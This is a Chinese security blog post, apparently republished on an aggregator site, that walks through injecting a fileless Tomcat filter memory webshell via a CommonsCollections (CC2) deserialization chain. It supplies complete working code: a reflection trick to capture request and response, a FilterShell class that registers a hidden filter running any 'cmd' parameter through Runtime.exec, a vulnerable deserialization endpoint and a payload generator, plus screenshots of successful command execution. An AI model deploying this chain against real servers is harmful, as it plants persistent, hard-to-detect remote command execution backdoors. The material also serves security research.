[Java安全]—Tomcat反序列化注入回显内存马

news2024/11/24 2:11:28

前言

在之前学的tomcat filter、listener、servlet等内存马中,其实并不算真正意义上的内存马,因为Web服务器在编译jsp文件时生成了对应的class文件,因此进行了文件落地。

所以本篇主要是针对于反序列化进行内存马注入来达到无文件落地的目的,而jsprequestresponse可以直接获取,但是反序列化的时候却不能,所以回显问题便需要考虑其中。

构造回显

寻找获取请求变量

既然无法直接获取request和response变量,所以就需要找一个存储请求信息的变量,根据kingkk师傅的思路,在org.apache.catalina.core.ApplicationFilterChain中找到了:

private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

并且这两个变量是静态的,因此省去了获取对象实例的操作。

在该类的最后发现一处静态代码块,对两个变量进行了初始化,而WRAP_SAME_OBJECT的默认值为false,所以两个变量的默认值也就为null了,所以要寻找一处修改默认值的地方。

image-20221130214631341.png

ApplicationFilterChain#internalDoFilter 中发现,当WRAP_SAME_OBJECT为 true时 ,就会通过set方法将请求信息存入 lastServicedRequest 和 lastServicedResponse中

image-20221130214850789.png

反射构造回显

所以接下来的目标就是通过反射修改WRAP_SAME_OBJECT的值为true,同时初始化 lastServicedRequest 和 lastServicedResponse

POC:

package memoryshell.UnserShell;

import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;


public class getRequest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp){
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //修改static final
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);

            //静态变量直接填null即可
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);

            String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;

            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null,new ThreadLocal());
                lastServicedResponseField.set(null,new ThreadLocal());
            } else if (cmd!=null){
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                byte[] bcache = new byte[1024];
                int readSize = 0;
                try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
                    while ((readSize =in.read(bcache))!=-1){
                        outputStream.write(bcache,0,readSize);
                    }
                    lastServicedResponse.get().getWriter().println(outputStream.toString());
                }
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }


    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
    public void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }
}

这里的WRAP_SAME_OBJECTlastServicedRequestlastServicedResponse都是static final类型的,所以反射获取变量时,需要先进行如下操作:反射修改static final 静态变量值

public void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
    field.setAccessible(true);
    Field modifiersField = Field.class.getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}

web.xml

<servlet>
    <servlet-name>getRequest</servlet-name>
    <servlet-class>memoryshell.UnserShell.getRequest</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>getRequest</servlet-name>
    <url-pattern>/demo</url-pattern>
</servlet-mapping>

第一次访问/demo路径,将request和response存储到 lastServicedRequest 和 lastServicedResponse 中

第二次访问成功将lastServicedResponse取出,从而达到回显目的

image-20221130232213997.png

流程分析

第一次访问/demo

由于请求还没存储到变量中此时WRAP_SAME_OBJECT的值为null,因此 lastServicedRequest 和 lastServicedResponse 为 null

image-20221130234426079.png

由于IS_SECURITY_ENABLED的默认值是false,所以执行到service()方法

image-20221130234731852.png

service()中调用doGet(),就调用到了poc中的doGet()方法中,对上边提到的三个变量进行了赋值:

image-20221201000128014.png

之后WRAP_SAME_OBJECT变为true,进入了if,将lastServicedRequestlastServicedResponse设为object类型的null

image-20221201000221896.png

第二次访问/demo

由于第一次将WRAP_SAME_OBJECT修改为了true,因此进入if 将 request、response存储到了lastServicedRequestlastServicedResponse

image-20221201000618445.png

之后又调用了service()

this.servlet.service(request, response);

再调用doGet(),此时lastServicedRequest不为null,因此获取到了cmd参数,并通过lastServicedResponse将结果输出

image-20221201001942952.pngimage-20221201001942952.png

反序列化注入

环境配置

这里尝试用CC2打所以引入commons-collections

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

导入依赖后,手动加到war包中

image-20221203205438255.png

除此外还需要构造一个反序列化入口

package memoryshell.UnserShell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

public class CCServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String exp = req.getParameter("exp");
        byte[] decode = Base64.getDecoder().decode(exp);
        ByteArrayInputStream bain = new ByteArrayInputStream(decode);
        ObjectInputStream oin = new ObjectInputStream(bain);
        try {
            oin.readObject();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        resp.getWriter().write("Success");
    }

}

web.xml

    <servlet>
        <servlet-name>getRequest</servlet-name>
        <servlet-class>memoryshell.UnserShell.getRequest</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>getRequest</servlet-name>
        <url-pattern>/demo</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>cc</servlet-name>
        <servlet-class>memoryshell.UnserShell.CCServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>cc</servlet-name>
        <url-pattern>/cc</url-pattern>
    </servlet-mapping>

构造反序列化

第一步

将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中,跟上边一样所以直接贴过来了

 Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //修改static final
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);

            //静态变量直接填null即可
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);


            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());

第二步

通过lastServicedRequest 和 lastServicedResponse 获取request 和response ,然后利用 request 获取到 servletcontext 然后动态注册 Filter(由于是动态注册filter内存马来实现的,所以在后边的操作大致上与filter内存马的注册一致,后边会对比着来看)

获取上下文环境

在常规filter内存马中,是通过request请求获取到的ServletContext上下文

ServletContext servletContext = req.getSession().getServletContext();

而这里将request存入到了lastServicedRequest中,因此直接通过lastServicedRequest 获取ServletContext即可

ServletContext servletContext = servletRequest.getServletContext();

filter对象

其次构造恶意代码部分有些出处

在常规filter内存马中,是通过new Filter将doFilter对象直接实例化进去:

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null){
            byte[] bytes = new byte[1024];
            //Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
            Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
            int len = process.getInputStream().read(bytes);
            servletResponse.getWriter().write(new String(bytes,0,len));
            process.destroy();
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
};

而这里并不能直接将初始化的这三个方法(init、doFilter、destory),包含到Filter对象中

具体原因我也不太清楚,猜测由于后边需要进行反序列化加载字节码所以需要继承AbstractTranslet,但继承了它之后便不能继承HttpServlet,无法获取doFilter方法中所需请求导致

所以这里采用的方法是实现Filter接口,并直接将把恶意类FilterShell构造成Filter

Filter filter = new FilterShell();

而doFilter方法便不再包含在filter实例中,而是直接在FilterShell类中实现,这样便也能实现常规filter内存马构造恶意类的效果

最终POC:

package memoryshell.UnserShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.Map;

public class FilterShell extends AbstractTranslet implements Filter {
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            //修改static final
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);

            //静态变量直接填null即可
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);


            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
                lastServicedRequestField.set(null, new ThreadLocal());
                lastServicedResponseField.set(null, new ThreadLocal());
            }else {
                ServletRequest servletRequest = lastServicedRequest.get();
                ServletResponse servletResponse = lastServicedResponse.get();

                //开始注入内存马
                ServletContext servletContext = servletRequest.getServletContext();
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                // ApplicationContext 为 ServletContext 的实现类
                ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
                Field context1 = applicationContext.getClass().getDeclaredField("context");
                context1.setAccessible(true);
                // 这样我们就获取到了 context
                StandardContext standardContext = (StandardContext) context1.get(applicationContext);

                //1、创建恶意filter类
                Filter filter = new FilterShell();

                //2、创建一个FilterDef 然后设置filterDef的名字,和类名,以及类
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName("Sentiment");
                filterDef.setFilterClass(filter.getClass().getName());

                // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
                standardContext.addFilterDef(filterDef);
                //3、将FilterDefs 添加到FilterConfig
                Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                filterConfigs.put("Sentiment",filterConfig);

                //4、创建一个filterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName("Sentiment");
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                //将自定义的filter放到最前边执行
                standardContext.addFilterMapBefore(filterMap);

                servletResponse.getWriter().write("Inject Success !");
            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null) {
            //String[] cmds = {"/bin/sh","-c",request.getParameter("cmd")}
            String[] cmds = {"cmd", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            byte[] bcache = new byte[1024];
            int readSize = 0;
            try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
                while ((readSize = in.read(bcache)) != -1) {
                    outputStream.write(bcache, 0, readSize);
                }
                response.getWriter().println(outputStream.toString());
            }
        }


    }

    @Override
    public void destroy() {
    }
    public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }
}

将恶意类的class文件,传入cc2构造payload

package memoryshell.UnserShell;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {

    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = getBytes();
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        unserialize("1.ser");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
    public static byte[] getBytes() throws IOException {
        InputStream inputStream = new FileInputStream(new File("FilterShell.class"));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;
    }

}

生成1.ser,将其进行base64编码

image-20221203204908885.png

传参两次,第一次将请求存入lastServicedRequest 和 lastServicedResponse 中,第二次动态注册filter内存马

image-20221203205202990.png

注入后,成功执行命令

image-20221203205312968.png

后记

  • https://xz.aliyun.com/t/7307,李三师傅针对于00theway师傅的文章进行了linux下反序列化回显的总结。
  • Tomcat中一种半通用回显方法、基于tomcat的内存 Webshell 无文件攻击技术,之后师傅们引出了通过response进行注入的方式,但不足之处在于shiro中自定义了doFilter方法,因此无法在shiro中使用。
  • 基于全局储存的新思路 | Tomcat的一种通用回显方法研究 ,针对上述问题师傅通过currentThread.getContextClassLoader()获取StandardContext,进一步获取到response,解决了shiro回显的问题,但不足在于tomcat7中无法获取到StandardContext。
  • 基于Tomcat无文件Webshell研究 ,对上述方法进行了总结,但仍未解决tomcat7中的问题
  • tomcat不出网回显连续剧第六集 ,最后李三师傅又提出了解决tomcat7+shiro的方案

整个过程感觉非常有意思,但还没来得及学习,不得不说师傅们真的是tql !!!

参考链接

(1条消息) Tomcat内存马学习4:结合反序列化注入_浔阳江头夜送客丶的博客-CSDN博客_tomcat注入内存马

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/58979.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]计算机毕业设计JAVA学生信息管理系统

[附源码]计算机毕业设计JAVA学生信息管理系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybati…

交流转直流LED驱动芯片 MT7930 SOP8

隔离LED驱动ic芯片 MT7930 SOP8 交流转直流LED驱动芯片 MT7930的描述&#xff1a; MT7930是一个单级、高功率因数&#xff0c;源边控制交流转直流LED驱动芯片。只需极少的外围器件感应源边的电学信息&#xff0c;就可以精确地调制LED电流&#xff0c;而不需要光耦及副边感应器件…

5.javase_循环语句

一.for循环语句 (1)for循环语句 1.1 for循环语句格式&#xff1a; for(初始化语句a;条件判断语句b;条件控制语句c) { 循环体语句d; } 1.2 for循环语句范例&#xff1a; for (int i 1; i < 5; i 1) { System.out.println(“HelloWorld”); } 1.3 for循环语句执行顺序 (2)…

6.每天进步一点点---Python爬虫urllib库

文章未完成待续 urllib 库是 Python 内置的一个 HTTP 请求库。在 Python 2.x 中&#xff0c;是由 urllib 和 urllib2 两 个库来实现请求发送的&#xff0c;在 Python 3.x 中&#xff0c;这两个库已经合并到一起&#xff0c;统一为 urllib 了。 urllib 库由四个模块组成。 re…

LeetCode 69. x 的平方根

&#x1f308;&#x1f308;&#x1f604;&#x1f604; 欢迎来到茶色岛独家岛屿&#xff0c;本期将为大家揭晓LeetCode 69. x 的平方根 &#xff0c;做好准备了么&#xff0c;那么开始吧。 &#x1f332;&#x1f332;&#x1f434;&#x1f434; 一、题目名称 69. x 的平方根…

Git全套,从简到细

Git DravenGit一、git工具引入二、git本地工具2.1、下载2.2、使用2.3、修改2.4、查看历史版本2.5、回退历史版本2.6、起死回生三、git远程仓库3.1、使用gitee3.2、配置本地仓库参数3.3、查看gitee仓库3.4、修改后推送四、git两人协作-非冲突小智小杨五、git两人协作-冲突六、gi…

搜索与图论-BFS

文章目录一、BFS1. BFS 简介2. BFS 的基本思想3. BFS 的实现步骤4. BFS 的实际演示二、BFS 例题——走迷宫具体实现1. 样例演示2. 实现思路3. 代码注解4. 实现代码三、BFS 例题——八数码具体实现1. 实现思路2. 代码注解3. 实现代码一、BFS BFS 的关键点是状态的选取和标记。 …

iwebsec靶场 SQL注入漏洞通关笔记13-二次注入

系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入&#xff08;宽字节注入&#xff09;_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记3- bool注入&#xff08;布尔型盲注&#…

力扣(LeetCode)133. 克隆图(C++)

dfs哈希表图 先深搜建立所有点&#xff0c;加入哈希表。再遍历哈希表&#xff0c;按照拷贝前后的结点&#xff0c;拷贝边。最后返回某一结点&#xff0c;即为所求。 class Solution { public:unordered_map<Node*,Node*> mp;Node* cloneGraph(Node* node) {if(!node) r…

UNPV2 学习:Pipes and FIFOs 学习记录

命名管道 fifo 的特点 特点描述 打破了匿名管道只能在父子进程间使用的限制&#xff0c;可以在无亲缘关系的进程之间使用同一个 fifo未指定 NONBLOCK 参数 open fifo 时可能会 block&#xff0c;不当的编码可能会导致进程死锁当请求读超过 fifo 中现有数据大小的数据时&#…

基于yolov5轻量级的学生上课姿势检测识别分析系统

在我之前的博文中已经做过关于人体姿势识别人体姿态检测的博文&#xff0c;都是比较早期的技术模型了&#xff0c;随机技术的迭代更新&#xff0c;很多更加出色的模型陆续出现&#xff0c;这里基于一些比较好用的轻量级模型开发的姿态检测模型。 原始博文如下&#xff1a; 《…

HTML+CSS+JS家乡主题网页设计 学生网页设计作品 dreamweaver作业静态HTML网页设计模板 旅游景点网页作业制作

家乡旅游景点网页作业制作 网页代码运用了DIV盒子的使用方法&#xff0c;如盒子的嵌套、浮动、margin、border、background等属性的使用&#xff0c;外部大盒子设定居中&#xff0c;内部左中右布局&#xff0c;下方横向浮动排列&#xff0c;大学学习的前端知识点和布局方式都有…

BERT模型的详细介绍

Bert模型的基本原理是什么? BERT 来自 Google 的论文Pre-training of Deep Bidirectional Transformers for Language Understanding&#xff0c;BERT 是“Bidirectional Encoder Representations from Transformers”的首字母缩写&#xff0c;整体是一个自编码语言模型&…

全文检索-Elasticsearch-入门

文章目录前言一、基本概念1.1 Index&#xff08;索引&#xff09;1.2 Type&#xff08;类型&#xff09;1.3 Document&#xff08;文档&#xff09;1.4 ES与关系型数据库对比1.5 倒排索引二、初步检索2.1 _cat2.2 索引一个文档&#xff08;保存&#xff09;2.3 查询文档前言 全…

[静态时序分析简明教程(八)]虚假路径

静态时序分析简明教程-虚假路径一、写在前面1.1 快速导航链接二、虚假路径2.1 set_false_path2.2 -from -to -through2.3 上升/下降沿 约束2.4 建立/保持 约束2.5 虚假路径示例三、总结一、写在前面 一个数字芯片工程师的核心竞争力是什么&#xff1f;不同的工程师可能给出不同…

数据结构 | 堆的向上调整和向下调整算法【奇妙的堆排序】

堆一、堆的概念及结构二、向上调整算法⭐⭐1、算法思路分析【孙子的谋权篡位之旅&#x1f451;】2、代码详情解说三、向下调整算法⭐⭐⭐⭐⭐1、算法图解分析【高处不胜寒&#x1f192;趁早做打算】2、代码考究精析四、堆的数据结构各接口算法实现结构体的定义及声明1、堆的初始…

Windows-》CMD命令

CMD命令【1】Windows-》CMD命令1.mstsc&#xff1a;打开远程桌面连接。2.services.msc&#xff1a;打开本地服务设置。3.notepad&#xff1a;打开记事本。4.control&#xff1a;打开控制面板。5.regedit&#xff1a;打开注册列表编辑器。6.compmgmt.msc---设备管理器。&#xf…

[附源码]计算机毕业设计springboot医疗器械公司公告管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

计算机图形学中的曲线问题——贝塞尔曲线的绘制

贝塞尔曲线的绘制 由于 CSDN 的博客修改字数的限制&#xff0c;我们不得不将这一部分放到一个新的博客中。原文详见&#xff1a; GGN_2015 计算机图形学中的曲线问题 贝塞尔曲线的几何作图法 在上面介绍儿时的回忆中&#xff0c;我们介绍了对于抛物线绘制的一种方法。如下图所…

Egg 1. 快速开始 Quick Start 1.3 一步步 Step by Step 1.3.5 创建服务

Egg Egg 本文仅用于学习记录&#xff0c;不存在任何商业用途&#xff0c;如侵删 文章目录Egg1. 快速开始 Quick Start1.3 一步步 Step by Step1.3.5 创建服务Hacker News API1. 快速开始 Quick Start 1.3 一步步 Step by Step 1.3.5 创建服务 在实际开发中&#xff0c;控制器…